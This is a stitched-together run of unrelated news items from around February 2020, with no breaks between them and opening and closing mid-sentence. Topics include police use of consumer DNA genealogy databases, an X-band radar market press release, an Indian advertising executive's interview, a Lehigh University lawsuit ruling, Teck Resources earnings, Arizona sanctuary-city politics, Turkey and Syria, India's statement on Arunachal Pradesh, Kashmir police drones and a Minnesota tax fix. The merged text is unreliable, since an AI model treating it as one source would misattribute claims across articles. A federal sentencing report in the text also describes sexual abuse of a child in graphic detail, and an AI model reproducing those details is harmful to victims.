Natalie Ram, an associate professor of law at the University of Maryland, said in an interview. State legislatures are one of the best-situated bodies to engage in rule-making in this area. This year lawmakers are starting to do just that. A state representative in Utah introduced a bill that would ban genetic genealogy searches by police. A Maryland lawmaker introduced a bill to regulate searches after a proposal last year to ban them failed. In New York, a state senator has proposed a policy to allow the searches. A Washington state proposal would allow only searches requested through a valid legal process. And three direct-to-consumer testing companies have formed a coalition and are lobbying Congress for federal oversight to restrict police access to their databases and protect consumer privacy. Schubert expressed skepticism about legislative proposals cropping up. If they want to weigh in on it, thats fine, as long as they understand what it is, how it works and what it does and doesn't do, she said. It shouldn't be a race to see who can be the first to ban it or vice versa. How it works The man accused of being the Golden State Killer, Joseph James DeAngelo, was arrested after investigators uploaded crime-scene DNA to online genealogy database GEDmatch, matched it partially to his great-great-great-grandparents, built family trees of relatives and eventually traced it to him. Police obtained surreptitious samples of DeAngelos DNA to confirm the match. After DeAngelos arrest, Schubert started a nonprofit with a few other law enforcement figures called the Institute for DNA Justice. They aim to educate the public about investigative genetic genealogy. And they encourage people to upload their DNA to GEDmatch or FamilyTreeDNA, another open database, to help police. Schubert said police dont get behind-the-scenes, unlimited access to peruse DNA databases, despite what many people believe. Instead, investigators upload a DNA profile and get a list of matches and partial matches like the average user, she said in an interview. The rest is traditional police work: using leads to narrow down the matches to a person who fits the description of the suspect, gathering a surreptitious sample and comparing it with the crime scene DNA profile. It is a blend of science and traditional law enforcement, she said. More than 15 million people worldwide had undergone direct-to-consumer DNA testing by early 2018, according to a report from the journal Science. Researchers estimated that 60% of searches of a database with 3 million U.S. residents of European descent could lead to a third cousin or closer match. By the end of 2019, GEDmatchs database had been used to solve at least 70 U.S. violent crimes. Verogen, a forensic genomics company, bought GEDmatch in December, and said that the use of its database as a crime fighting tool for people who share DNA and opt in to police searches would continue. Forensics company Parabon Nanolabs has relied on public databases such as GEDmatch to identify 83 crime suspects and 11 homicide victims since May 2018, when it began offering genetic genealogy service to law enforcement agencies, said Paula Armentrout, the companys vice president, in an email. The company charges law enforcement $1,500 to process DNA and another $3,500 for the genealogy research time. GEDmatch faced criticism last year when a BuzzFeed investigation revealed the company allowed police to upload a DNA profile to investigate an aggravated assault. The website, which was started by a DNA hobbyist, previously restricted police searches to homicide and rape cases. GEDmatch changed its policy so that users had to opt in to law enforcement searches. About 1.4 million people have profiles on GEDmatch, and more than 200,000 have agreed to law enforcement searches of their DNA, according to Verogen spokeswoman Kim Mohr. We support responsible use of consumer genetic databases by law enforcement and would not be in favor of legislation that prohibits such searches of people who have opted in, Mohr said in an email. The privacy debate The Utah bill would bar law enforcement from performing genetic genealogy searches in consumer databases. The sponsor, Utah state Rep. Craig Hall, a Republican, was not available for an interview. But Michael Melendez, policy director of Libertas Institute, a free-market think tank based in Lehi, Utah, that helped Hall craft the bill, said traditional consent and warrant models dont apply to DNA databases. You won't see a warrant for an entire town to knock on everyone's door and search everyone's house, Melendez said. In the same sense, with a digital DNA database, we dont believe you can go in and just get a warrant to do a mass search. But the Utah Cold Case Coalition, a three-year-old nonprofit that helps people dig into cold cases and advocates for genetic genealogy searches, opposes the bill. The groups director, an attorney named Karra Porter, started it after the family of 6-year-old Rosie Tapia, who was raped and murdered in 1995, asked her for help. (The case remains unsolved.) In a few months, Porters group plans to open a lab called Intermountain Forensics in Salt Lake City and provide at-cost DNA tests including genetic genealogy tests for law enforcement, Porter said. Even if Halls bill, which is in committee, becomes law, Porter said her lab will be fine: The lab already has potential clients from other states. But, she added, Were going to have a whole lot of unsolved rapes and murders in our state because of this bill, if it goes through. Ram, the Maryland professor, acknowledges that DNA databases are useful to police. The question, she said, is whether the investigative advantages outweigh the threat to peoples privacy. There's no doubt that law enforcement could solve more crimes if they could have more access to more people all the time, Ram said. Privacy is an essential human good. It's necessary for human flourishing and for liberty. Ram testified in support of a bill to ban genetic genealogy searches proposed by a Maryland lawmaker last year. The bill died in committee. The same lawmaker, Democratic state Sen. Charles Sydnor III, introduced a new bill this session to regulate searches instead. The measure would limit law enforcements use of genetic genealogy databases to felony cases including homicide, rape and burglary. I had never looked at it in that respect, of people who had committed violent crimes, Sydnor said in an interview. This is cutting-edge stuff. Were all trying to figure it out. In New York, a state senator is again proposing a policy that would allow searches in cases of violent crimes where all other investigative leads have been exhausted. State law allows police to do only whats called a familial search, or a search for a partial DNA match, in the state DNA database. When I hear of major crimes being solved in other states and our law enforcement officials do not have the same ability, Republican state Sen. Phil Boyle said, I want to make sure New York law enforcement officials have all the tools they need. The Washington state bill is similar but aimed at consumer companies. The bill, proposed by state Rep. Shelley Kloba, a Democrat, would require direct-to-consumer genetic testing companies to follow a legal process before giving genetic information to law enforcement without customer consent. Could the feds go first? Proposals to define when police can use DNA searches align, at least in part, with the federal legislation a trio of big player DNA companies Ancestry, 23andMe and Helix support. The companies formed a group called the Coalition for Genetic Data Protection to push to require police to follow a valid legal process, such as a court order or warrant, to search consumer databases, according to coalition Executive Director Steve Haro, who is also a principal at Mehlman Castagnetti Rosen & Thomas, the Washington, D.C., lobbying firm that runs the coalition. According to their privacy policies, the three companies block law enforcement searches unless legally required. But in practice, not even the legal threshold has been enough: These companies will exhaust all legal measures to ensure their customer privacy is protected, Haro said. For example, last year Ancestry received a warrant seeking access to its database but challenged the warrant on jurisdictional grounds and didnt provide information, according to its transparency report. With something as important as consumer privacy, Haro said, it deserves to be dealt with at the federal level with one comprehensive piece of legislation. The coalition registered to lobby members of Congress about a year ago, according to disclosure records. The U.S. Department of Justice released an interim policy in September for law enforcement using forensic genetic genealogy: Use it as a last resort and with caution, the guidelines say. The eight-page policy sets case eligibility (a violent crime with no matches in the federal DNA database CODIS or unidentified human remains). It also requires the work to be done in a special lab. Final guidelines are expected this year. But including a line in any policy for use as a last resort still leaves a lot of room for interpretation, said David Kaye, an emeritus law professor at Penn State University who writes about the admissibility of scientific evidence in court. Its politically appealing to say, Im only going to use it as a last resort, he said in an interview. The thing is you, youre still left with saying what cases fall into that. The Justice Department policy is at least better than nothing, said Christopher Slobogin, director of Vanderbilt Law Schools criminal justice program. He has studied the Fourth Amendment and privacy issues for 30 years. Aside from a few cases related to privacy, there havent been many court decisions directly applicable to genetic genealogy, Slobogin said. They could come, as DNA databases grow and so do genetic genealogy-related arrests. He thinks the best guidance will come from parameters set by the courts and filled in with state legislation. Its possible that ultimately the same rule ought to apply across the country, Slobogin said. At the same time, barging in with a federal law might be a little premature. Thats the reason we have 50 states, he said. We can experiment a bit. This article was first posted to Stateline, an initiative of The Pew Charitable Trusts. Seattle, WA -- (SBWIRE) -- 02/21/2020 -- The X-band radar is radar wave that ranges between 8.0 GHz and 12 GHz. X-band is the designation for the band of frequencies in the electromagnetic spectrum and microwave radio region. These radars are extensively used in different sectors as they can be installed on smaller antennas on boats and land to provide better target detection. X-band radar is classified into two types of namely mobile X-band radar and sea-based X-band radar. Generally, sea-based X-band radar is installed on an artificial tower in sea. Moreover, X-band radar is self-propelled and is typically used as a part of ballistic missile defense system. The global X-band radar market is estimated to account for US$ 5,122.5 Mn in 2018 and is expected to grow at a CAGR of 3.8% during the forecasted period (2019-2027) For In depth Information Get Sample Copy of this Report @ https://www.coherentmarketinsights.com/insight/request-sample/3247 Market Dynamics- Driver Increasing need for advanced security and surveillance system worldwide is expected to drive growth of the global X-band radar market during the forecast period Governments of countries around the world seek constant, 24/7 security and surveillance, in order to keep people safe from external well as internal threats. This has led to key manufacturers in the market to develop novel aerospace and defense equipment that can identify any kind of distant threat objects. Radars play a key role in these systems for surveillance, navigation, and other applications. For instance, in February 2016, Northrop Grumman introduced SYERS-2 radar, in order to fulfill the security and intelligence requirements of the U.S. government. Growing importance of climate and weather predictions is expected to propel the global X-band radar market growth during the forecast period. X-band radars have crucial role in weather and climate predictions and are widely used meteorically and climatological applications. Moreover, it can identify and warn potential threats regarding tornadoes, local storms, high winds, and intense rains. X-band radar also finds major applications in aviation safety where it enhances operational efficiency in the air transport industry. Furthermore, it provides vital alerts regarding floods through constant monitoring of rainfall. Thus, growing use of radar for climate and weather predictions and aviation safety are expected to fuel the market growth in the near future. Market Dynamics The growing significance of climate and weather predictions has fueled the demand for X-band radars, as the X-band radars are getting less affected due to the bad weather conditions as compared to the K and KA band, due to which it get majorly adopted for the aviation safety. However, accurate predictions for potential threats regarding tornadoes, local storms, high winds, and intense rains, can reduce a huge amount of loss, by timely taken precautions for Sea-based X-band radar is equipped with a land-based early warning radar, which helps them to identify the exact location to focus on. However, X-band radar is not able to bend quickly enough to track range different missiles, which is expected to restrain the growth of X-band radar over the forecast period. Market Opportunities Increased operational process over land-based X-band radar is expected to boost the demand for sea-based X-band radar Installation of land-based X-band radars in foreign nations other than home nation is time consuming due to complex legal issues associated with it. On the contrary, installing sea-based X-band radars is less time-consuming and easier. This, in turn, is expected to boost the demand for X-band radar. For instance, installing land-based X-radar system in Alaska or negotiating with other governments for using their lands is cumbersome and time-consuming as compared to installing sea-based radars. Significant growth of global defense market is expected to pose lucrative growth opportunities The global defense and aerospace markets are growing at a steady pace, which is expected to offer lucrative growth opportunities for market players in the region. This growth has increased the demand for radars from both defense and aerospace industry. Market players can offer novel products to gain significant share over the forecast period. Market Trends Semi-submersible X-band radar has witnessed significant demand in the recent past and this trend is likely to continue in the near future The sea-based semi-submersible X-band radar is installed on a stand with a height of over 250 feet. It is comprised of semi-submersible oil production platform with X-band radar. In this, the X-band radar is the primary payload with the support of ground-based defense of the ballistic missile defense system. Smaller vessels are adopting multi capability radar During war or combat scenarios, situational alertness and potential threat detection are extremely crucial. This demand is fulfilled by the installation of multi-functionality radar that is being typically adopted by naval forces and commercial merchants for smaller vessels. These multi-capability radars are lightweight and offer high performance. Moreover, these radars are enhanced for maritime security operations and can cover entire search volume for 24 hours. Competitive Section Key companies operating in the global X-band radar market are Israel Aerospace Industries Ltd., Saab Group, Northrop Grumman Corporation, Japan Radio Company Limited, Reutech Radar Systems (RRS), Furuno Electric Co., Ltd., Raytheon Company, Terma A/S, Detect Inc., and ProSensing, Inc. Download PDF Brochure Of This Research Report @ https://www.coherentmarketinsights.com/insight/request-pdf/3247 We, at Adgully, have always saluted and honoured women managers and leaders across diverse fields. Women Disruptors is Adgullys special initiative to bring to the fore some remarkable women achievers in M&E, Advertising, Marketing, Communications industries, how they think, how they manage things, how they lead from the front and much more. Kavita Koserwal, Director & CEO, Orcomm Advertising, began her early career in journalism with leading Hindi news channel Aaj Tak. After dabbling in journalism, she decided to be an entrepreneur and co-founded Orcomm Advertising along with her husband in the commercial capital of Madhya Pradesh, Indore. Hailing from a business family, the spirit of standing on her own and turning up as a true entrepreneur was in her DNA. Her primary focus was to cater the Tier 2 and 3 cities and help brands grow from these cities. With her high level of energy and deep understanding of grass root marketing, Koserwal has managed to create some exciting communication strategy for their clients. Today, based out of Indore, she manages clients from the East & South markets. Her belief as an entrepreneur is that, there is huge potential for business in smaller cities provided you are able to understand the market there and provide the right solutions. When did the entrepreneurial bug bite you? What was the reason? I come from a business family and was exposed to the basics of dhandha right from my childhood, seeing my uncles work. But did I want to be an entrepreneur? Not at all. Actually, I stumbled upon entrepreneurship. I was at the peak of my journalistic career. I was on a dream run as a recognised TV news reporter with Aaj Tak, building up a reputation of being a story breaker and terrorist specialist in Bangalore. But when family called, I decided to hang up my mic and moved to Indore in 2008 with no plans whatsoever. One thing I always knew I was good at, and that is connecting with people. And after a couple of months of scouting for the right opportunity, I started my first venture in Event Management, with focus on customer connect BTL activities which were seriously looked out for and at the same time missing in Central India. From humble beginnings, today the agency has grown into a full-fledged agency offering 360-degree communication, creating hard working campaigns. What is the one thing that motivated and excited you to be an entrepreneur? As an employee whatever you do you do it for yourself, whether it is meeting deadlines or financial goals. In the process you also become a small part of your organisations success. Entrepreneurship is the absolute opposite of this. I thrive on human connections. I love connecting with people and exchanging intangible values with them. This is what motivated me to get into the business of communication, because, this is one business that gives you the opportunity to connect with people from nearly all walks of life, an array of thought-processes and a gamut of emotions. Also, as an entrepreneur you wake up every morning facing new challenges and opportunities to add value to your clients brands, their customers lives, your own employees and to your own life. Any role model that you had in the entrepreneur space? As a journalist Ive had the opportunity to interact with many stalwarts of the business world. Whilst each one of them have touched my life and thinking with their approach towards the humane side of their business, I attribute my baptism into entrepreneurship to Kiran Majumdar-Shaw, who actually told me that I was made for entrepreneurship. And I got my mantra of being a successful entrepreneur from Ratan Tata himself, who during one of our interactions told me that you should earn money with respect. When did you think of taking a deep dive to become an entrepreneur? Having worked in the Tier 2 and 3 markets across Madhya Pradesh/ Chhattisgarh through my BTL venture, I realised the potential of these markets and their consumers, and at the same time I also saw the opportunities that we had ahead of us. We were doing great work and it was yielding results for our clients. That was when I co-founded Orcomm with Amit, and reached out to clients of national repute. Luckily for us, all the clients that we approached were looking for answers we had for them. They placed their bets on us and have been reaping dividends as well. Are there any valuable tips that you would like to share to be a great entrepreneur? It is very difficult to give advice when you yourself are learning the ropes. I would, however, like to share a few learnings. Entrepreneurship is a 24x7x365 responsibility. It goes beyond balance-sheets and bottom-lines. You are responsible for creating value for every stakeholder. Your responsibility and commitments to your client should be your highest priority. I would like to pass on the mantra I got from Ratan Tata earn money with respect. Because money cannot earn you respect; but respect can surely get you money. Comfort is your enemy. Seek discomfort. Never become complacent. Keep innovating and constantly thinking on your toes. Always think of a big idea when developing a campaign for your client. A judge found there isnt enough evidence for a Lehigh University professors racial discrimination and retaliation claim to proceed in federal court. Monica Miller sued the school in March, claiming she was pressured to take a leadership role in the Africana Studies program as a token African American woman. The lawsuit says she suffered retaliation from jealous colleagues and was forced to leave the post. But she didnt present enough evidence to bolster her claims, according to U.S. District Judge Gerald J. Pappert. No reasonable juror could return a verdict for Miller on the merits of her Title VII discrimination claim, Pappert wrote in his decision Thursday. We are very pleased with the courts decision and its recognition that the university did not discriminate against Dr. Miller based upon her race or gender and did not retaliate against her, wrote Lehigh University Director of Media Relations Lori Friedman. Millers attorney didnt return a message seeking comment. Miller was director of Lehighs Women, Gender and Sexualities Studies Program when she was asked to step in and take over a class, some independent study students and a grant application for professor James Peterson in the Africana Studies department. Peterson had been suspended amid allegations of sexual harassment. In fact, Miller said in her lawsuit she was subjected to inappropriate advances by Peterson. Peterson left the school in January 2018. Miller said in her lawsuit she was overwhelmed with the duties. The judge noted in his decision, however, that a supervisor double-checked with Miller to make sure she could handle the extra course and independent study students. The judge said Miller was appointed principal investigator for a National Endowment for the Humanities grant, but she was assured that job wouldnt require specific duties and was more in name only. Colleagues were resentful of that appointment, the lawsuit says. Miller found it difficult to withstand the pressure and gradually shrunk from her duties, the judge wrote. She claimed she didnt have an opportunity to fight for her job while she was on medical leave but the judge disagreed. Although Millers appointment as principal investigator and interim director (of Africana Studies) may have contributed to her emotional distress, it was not an adverse employment action, Pappert wrote. Miller is now listed on the Lehigh University website as an Associate Professor of Religion and Africana Studies. Lehighs former director of diversity and outreach lost a discrimination case against the school in December. U.S. District Judge Edward G. Smith found Angela Ferencin didnt present enough evidence to support her claim that she was forced to resign due to racial discrimination. Another former Lehigh professor, Hyun-Tae Jung, claimed he was discriminated against in 2018. He withdrew his federal lawsuit in 2019. Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter@RudyMillerLV. Find Easton area news on Facebook. * Negative decision on Frontier would result in $1.13 bln impairment * Extent of coronavirus impact not clear * Fall in coking coal production and realised price (Recasts with details on Frontier oil sands) By Mekhla Raina and Jeff Lewis Feb 21 (Reuters) - Canadian miner Teck Resources Ltd said on Friday it would write down the value of its proposed Frontier oil sands mine by C$1.13 billion ($852.12 million) should Prime Minister Justin Trudeau's government reject the project. The fate of the C$20.6 billion mine is expected to be decided by next week in what has become a test of the government's commitment to reduce Canada's greenhouse gas emissions and repair relations with the country's indigenous people. At full capacity, the mine would be one of the largest in Alberta's oil sands, producing 260,000 barrels of crude oil per day. The warning came as Teck reported a 76% fall in fourth-quarter adjusted profit, hurt by lower prices for steelmaking coal, its biggest business, and warned the coronavirus outbreak would damage future earnings. The stock was down about 9% in early trading. A protracted tariff war between the United States and China and concerns of slower global growth have weakened prices of copper and other base metals. Teck said it reduced production and shut down its Neptune Bulk Terminals in British Columbia mainly because the virus had weakened demand in the short term. Weather is also a factor. For an earnings snap-shot: The company said it took non-cash, impairment charges totalling C$999 million in the quarter, which included C$910 million related to its Fort Hills oil sands mining. PHOENIX - Arizona Gov. Doug Ducey and Republican lawmakers have pulled a contentious proposal to enshrine an existing ban on so-called sanctuary cities in the state constitution. The decision announced late Thursday night came on the eve of a now-cancelled House hearing on the proposal the Republican governor asked lawmakers to send to voters. A Senate hearing last week erupted in shouting and resulted in the removal of activists who called the proposal racist. Republican leaders of the House and Senate and the governors spokesman issued similar statements on the decision. We can confirm that legislation related to a constitutional ban on sanctuary cities will not receive additional consideration this session a decision made jointly by legislative leadership and the Governor, the statement from GOP leaders issued by House majority spokesman Andrew Wilder said. Sanctuary cities are illegal in Arizona. It will remain that way, and our members will remain vigilant to keep these bad policies out of Arizona. The statement from Ducey spokesman Patrick Ptak said the state will also continue to oppose sanctuary policies that shield immigrants caught illegally in the state. The governor stands firmly with the people of Arizona in opposition to sanctuary cities, a California-style policy rejected overwhelmingly by voters in Tucson last fall, the statement said. The proposal announced by Ducey during last months State of the State address brought back warnings from Democrats about the return to one of the darkest years in Arizona history referencing the 2010 passage of the law known as SB1070, which was designed to crack down on illegal immigration. The courts upheld the laws ban on sanctuary policies and its key feature: a requirement that police officers, while enforcing other laws, question the immigration status of people suspected of being in the country illegally. Other provisions of the landmark law such as a requirement that immigrants carry registration papers were barred by the courts. The governor had a testy exchange with reporters earlier Thursday who pressed him on what was a clear change in his yearslong practice of discouraging divisive immigration legislation. He said he had not changed his stance and shrugged off concerns that boycotts and loss of business that followed passage of SB1070 would occur again. The state is booming, the governor said. I think what would hurt the states reputation is sanctuary cities, which people have tried to put on the ballot. Thats what would hurt the states reputation. The states reputation is just fine. Weve got people moving here every day. Ducey cites as his motivation now a ballot measure to create a sanctuary city in Tucson last November that was widely rejected by voters. City leaders in the Democratic stronghold cited SB1070s ban and the potential loss of state and federal dollars in campaigning against the effort. Democratic Sen. Martin Quezada said Thursday that Ducey has made a major political miscalculation and thats why he was dodging questions on a huge change in policy. He predicted a fast retreat by the governor. I think he saw what happened in Tucson and he thought Hey, this is low-hanging fruit and I can slam- dunk an issue thats really big with the Trump crowd and with the extreme element of his political base, and its going to pass easily if it gets to the ballot, Quezada said before the decision to pull the proposal was announced. He didnt really think it through, because the reality is the people in general are kind of sick of this stuff, and I think hes going to start backtracking very soon. On Thursday afternoon, the governor showed no hint that he would back down, or that he had changed his position on avoiding contentious immigration issues that had damaged the states economy and reputation a decade ago. Ducey spent his first years in office working to repair the states reputation and business ties with Mexico. There is no change. This has been consistent, he said. Ive been promoting Arizona, making sure Ive differentiated us from California at every turn. Lower taxes, lighter regulation, public safety, border security. Were anti-drugs, human trafficking, child sex trafficking. These are all policies Ive been doing for five years. Ive been against sanctuary cities, and its not a sea change. ___ This version corrects that the statements from lawmakers and governor were similar but not identical. Source: Xinhua| 2020-02-21 22:16:54|Editor: huaxia Video Player Close ISTANBUL, Feb. 21 (Xinhua) -- Turkish President Recep Tayyip Erdogan on Friday said he will discuss the latest situation in Syria with his Russian counterpart Vladimir Putin at 6:00 p.m. local time (1500 GMT) on the phone later in the day. Speaking to reporters after Friday prayers in Istanbul, Erdogan said they would review all the developments in the northwestern Syrian province of Idlib. The Turkish leader also noted that during a joint phone call held earlier on Friday, French President Emmanuel Macron and German Chancellor Angela Merkel told him that they would like to have a quartet summit on March 5 in Istanbul. "Regarding the proposal, Putin has not yet given the desired answer," Erdogan said, adding that he expects the Russian leader to reply in the upcoming phone call. "The result of the evening phone conversation will determine our attitude," he stressed. "In Idlib, I can say that a war is going on right now," Erdogan said. Meanwhile, Turkish Defense Minister Hulusi Akar arrived in the Syrian border area near the Turkish province of Hatay earlier in the day to inspect the troops there. India on Friday reiterated that Arunachal Pradesh is an integral and inalienable part of the country, adding that India's position has always been clear and consistent. The statement comes in the wake of China's firm opposition to Union Home Minister Amit Shah`s visit to Arunachal Pradesh on its statehood day on February 20 and warned India against "complicating" the border issue. Arunachal Pradesh became a full state from a Union Territory, 34 years ago on February 20. The region was part of British India in 1913-14 and formally included when the McMahon Line was established as the border between India and Tibet in 1938. Disputing India`s sovereignty over Arunachal Pradesh, China`s Foreign Ministry spokesman Geng Shuang had told the media in Beijing that "The Chinese government has never recognised the so-called `Arunachal Pradesh and is firmly opposed to Shah`s visit." Addressing a press conference, Ministry of External Affairs (MEA) Spokesperson Raveesh Kumar on Friday said, "Our position on Arunachal Pradesh is clear and consistent. Arunachal Pradesh is an integral and inalienable part of India." He added, "Indian leaders routinely travel to the state of Arunachal Pradesh as they do to any other states of India. Objecting to the visit of Indian leaders to a state of India does not stand to reason and understanding of the Indian people." Speaking on the trade deal with the US, Kumar said, "We have been engaging with the United States on trade talks for some time. We hope to reach an understanding with an outcome that strikes the right balance for both sides. We do not want to rush into a deal as the issues involved are complicated with many decisions potentially having a real impact on peoples lives and long-term economic consequences. We do not want to create artificial deadlines." "The India-US relationship is progressing from strength to strength. Our trade has already been growing at more than 10% per annum for the past two years, our trade deficit has been declining steadily. Our trade will become even more balanced with increasing imports of US oil and gas, and purchase of large numbers of civil aircraft by India over the next few years. The US is now our 6th largest source of crude oil imports, while we have become the USs 4th largest customer of crude oil," he added. On the space cooperation with the US, the MEA Spokesperson said, "India and the US have a long history of cooperation in civil space arena including earth observation, satellite navigation, and space exploration. There is a Joint Working Group to regularly review cooperation and identify new areas. Currently, our sides are cooperating in Mars exploration, heliophysics, and human spaceflight. On the commercial front, ISRO has launched 209 satellites from US, onboard PSLV, as co-passengers." "ISRO and NASA are together building a microwave remote sensing satellite with dual-frequency (L and S-band) Synthetic Aperture Radar. NASA will contribute L-band Radar, while ISRO will contribute S-band Radar and the satellite. This joint mission is planned to be realised for launch in 2022. This is the worlds first dual-frequency SAR satellite. ISRO is also working with US Government agencies for cooperation in the safety of spaceflight through an exchange of situational awareness information," he added. On nuclear cooperation with the US, India said, "Westinghouse and NPCIL are in discussion to build six 1100 MW reactors at Kovvada, AP. Following the resolution of Westinghouses bankruptcy issues, the two sides are in discussion regarding the division of responsibility of the work. NPCIL has visited the U.S. reference plant to understand Westinghouses modular construction methodology." Bernie Sanders Speculates Foreign Actors are Behind Hateful Bernie Bros During Wednesdays Democratic debate, Senator Bernie Sanders suggested that foreign trolls could be responsible for the intense negativity among some of his supporters, alluding to the misinformation campaign launched by Russian actors during the start of the 2016 election. Vermont senator defended the 99.9 percent of his supporters on Twitter that are decent human beings, after moderators asked whether his supporters are making it harder for Democrats to unify in November. Pressing him on the issue, contender Pete Buttigieg said, At a certain point, youve got to ask yourself, Why did this pattern arise? Why is it especially the case among your supporters? All of us remember 2016, and what we remember is efforts by Russians and others to try to interfere in our election and divide us up. Im not saying thats happening, but it would not shock me, Sanders said. And if there are a few people who make ugly remarks, who attack trade union leaders, I disown those people. They are not part of our movement, Sanders said. Sanderss Medicare for All plan would end union healthcare plans, which has seen some union leaders speak out against the proposed policy. Twitter has rejected the Democratic presidential hopefuls implication that foreign actors could be responsible for the hateful attacks by Twitter users claiming to be Bernie supporters. A Twitter spokesperson told CNBC, Using technology and human review in concert, we proactively monitor Twitter to identify attempts at platform manipulation and mitigate them. As is standard, if we have reasonable evidence of state-backed information operations, well disclose them following our thorough investigation to our public archivethe largest of its kind in the industry. A Facebook spokesperson also told CNBC that the company has no evidence that Russians are manipulating the activity of supposed Sanders supporters online. On Wednesday, Alexandria Ocasio-Cortez, who has endorsed Sanders, was asked about the Bernie Bros during an interview on the talk show The View. I want to talk about the Bernie Bros,' host Megan McCain said. The one thing that connects women on the left and the women on the right is the abuse that we have all been subjected to by Bernie Bros. It is, by far the most violent, the most misogynistic, the most sexist, the most harmful. The Bronx/Queens representative responded to McCains comment by acknowledging that sexism and racism are an over-all problem with internet culture. We also know the amount of anonymous activity that happens on the internet, Ocasio-Cortez said. And thats simplyits difficult. It is difficult to control. You have, like, a Twitter handle with a bunch of numbers on it with two followers that are lobbing vitriol at you. We dont know where that comes from, but I know it doesnt come from the campaign. Allegations that a group of Sanders supporters has been harassing people on social media for preferring other candidates has become a heated issue for the Sanders campaign. The Bernie Brosa term coined to describe the outspoken supporters of Sanders whove been accused of harassmenthave previously drawn criticism from Sanderss staffers. Now, Sanders himself has taken a stance on the issue. Talk to some of the African-American women on my campaign and find the vicious, racist, sexist attacks coming their way as well We should do everything we possibly can to end the viciousness and ugliness on the internet, he said. SRINAGAR: The Jammu and Kashmir Police has decided to equip its personnel with hi-tech weapons to ensure that its men remain safe during counter-terrorism operations. According to Zee Media sources, the J&K Police have earlier floated tenders for procuring modern equipment to identify and diffuse the explosives including Improvised Explosives Devices (IEDs) and procure Bullet Resistant Vests (BRVs) for its personnels so as to minimise the risk to their lives during counter-terrorism operations. The force has also decided to procure Total Containment Vessel (TCV), also known as 'truck bomb', to diffuse bombs and IEDs, which have claimed the lives of dozens of security personnel in recent years. The J&K Police will also be purchasing Remote Operating Vehicles (RoVs) is set to receive its maiden and fresh consignment of Unarmed Aerial Vehicles (UAVs) that will give a big boost to its aerial surveillance in J&K Union Territory (UT). The J&K Police will soon receive a set of 50 UAVs), which is the biggest UAV procurement by the police force so far. According to sources, the formalities for receiving the fresh consignment of UAVs have been completed and the Ministry of Home Affairs (MHA) has given a go-ahead to the project under the police modernisation program 2018-2019. A senior J&K Police official said that the tenders were floated by the police headquarters online in October-November 2019 after which the date of submitting claims was extended till December. The process is almost over and there is every likelihood that we will get the consignment by March 15, the officer said. The UAVs or drone system, which the J&K Police is procuring, will be of category 3, which is considered the latest and modern technology required by the police especially in Kashmir given its terrain and topography. Besides, the J&K Police has also decided to equip its personnel, especially those who are part of its Special Operation Group (SoG), with the bullet-resistant vest (BRVs.) It may be noted that besides maintaining law and order, the Jammu and Kashmir Police are also involved in counter-terrorism operations. The procurement of UAvs by the J&K Police will take place at a time when the force is already set to get its first ever helicopter on a two-year lease besides getting other latest equipment for dealing with various kinds of explosives that include IEDs and bombs. The J&K Police earlier used to seek assistance from Army units for using drones. But after the procurement of drones or UAVs, the police will become more tech savvy especially in Kashmir Valley. According to J&K Police, after the fresh consignment of UAVs arrives, each police district will be laced with the fresh gadget. The J&K Police will now be better equipped to handle not only counter-terrorism operations but also anti-India protesters. The J&K Police will train a batch of its officials how to operate these drones. After the curfew like restrictions were imposed in the Kashmir Valley on August 5, security forces have used small UAVs and helicopters to keep an eye on the situation and to detect people converging for protests. A Friendswood man was sentenced to 40 years in prison for producing and possessing child pornography, U.S. Attorney Ryan Patrick announced Friday. U.S. District Judge George C. Hanks Jr. handed Malik Berlanga, 22, a sentence of 360 months Friday for producing child pornography, according to a news release from Patricks office. Berlanga also received 120 months for the possession conviction, which will run consecutively for a total 40-year-prison sentence. Berlanga will also be on supervised release for life following completion of that 480-month federal prison term. At the hearing, the court heard that Berlangas preferential age was between the ages of 5 and 10 and that he had a foot fetish. In one particular video, Berlanga is seen licking and sucking a minor females feet while she is asleep. At the hearing, the court described other pornographic videos in Berlangas possession involving children under the age of 5. In handing down the sentence, Judge Hanks noted he had a duty to protect the public and anything less than the term imposed would not have done that. A cyber-tip submitted to the National Center for Missing and Exploited Children led to the Berlangas identification. He had created videos of a minor female and stored them in his Dropbox account. Authorities found 14 child pornography videos in a folder entitled Personal CP that Berlanga produced. Law enforcement later conducted a search warrant at his residence, seizing several cellular phones and a laptop computer located in Berlangas bedroom. Forensic analysis of those items revealed more than 5000 images and 70 videos containing child pornography. Authorities also found several videos that Berlanga produced on these devices as well. The investigation revealed the victim to be a minor relative, approximately 7 to 8 years of age during the production of some of the videos and images. The investigation revealed some of the images were taken at a hotel in the Galleria area during the 2018 BBQ cook off the precursor to the Houston Livestock Show and Rodeo. Immigration and Customs Enforcements Homeland Security Investigations led the investigation into Berlanga with the assistance of the Houston Metro Internet Crimes Against Children Task Force, which included detectives from police departments in Galveston, Pearland and Webster. Berlanga has been and will remain in custody pending transfer to federal prison facility that has not yet been determined. nick.powell@chron.com ST. PAUL Minnesota farmers and businesses hit with unexpected state taxes after trading in equipment and machinery could see a fix in the tax code that caused problems last year. The four leaders of Minnesota's Legislature recently said they expected a proposal to align the state's tax code with federal tax code would pass in 2020. Existing state tax code includes a loophole that forced some farmers and business owners to immediately pay income taxes for the financial gain they saw after trading in equipment in 2018. House Speaker Melissa Hortman, House Minority Leader Kurt Daudt, Senate Majority Leader Paul Gazelka and Senate Minority Leader Susan Kent each said they expected Section 179 would be conformed to meet the federal section this year. "My tax chair would like that," Hortman, D-Brooklyn Park, said during a "lightning round" of questions at the Minnesota Chamber of Commerce's annual legislative priority dinner onFeb. 11. She referred to House Taxes Committee Chair Paul Marquart, of Dilworth. The two Republicans on the panel, Gazelka and Daudt, said they "definitely" expected the change to be adopted this year and Kent, a Democrat, said it likely would. Rep. Greg Davids, R-Preston, last year put forth a bill aimed at bringing the state code into conformity with the federal code. And under his bill, those who face penalties or interest from the Minnesota Department of Revenue stemming from the unpaid debts would have those expenses canceled. ADVERTISEMENT "We owe it to our farmers and small business owners to get this fixed it's unreasonable to expect them to come up with tens of thousands of dollars, especially for farmers and businesses that may be struggling," Davids said in a news release Wednesday. "Its time to right this wrong for our farmers and small business owners across Minnesotait's encouraging to hear that the four legislative leaders and Gov. Walz all agree on this, so let's get it done." It will be important to watch what Turkey does next because its in a tight spot and has overstepped in multiple venues. Its being overrun by the Syrian Army and the Russians in Syria, and its sent Syrian mercenaries (with false promises) to fight in Libya. They are not likely to represent a loyal mercenary force when they realize they wont get what they want back at home in Syria. Again, that is leverage for Haftar in Tripoli, where hes The tension on the ground this week was palpable, and more confusing than ever as Libyans celebrated the revolution that overthrew 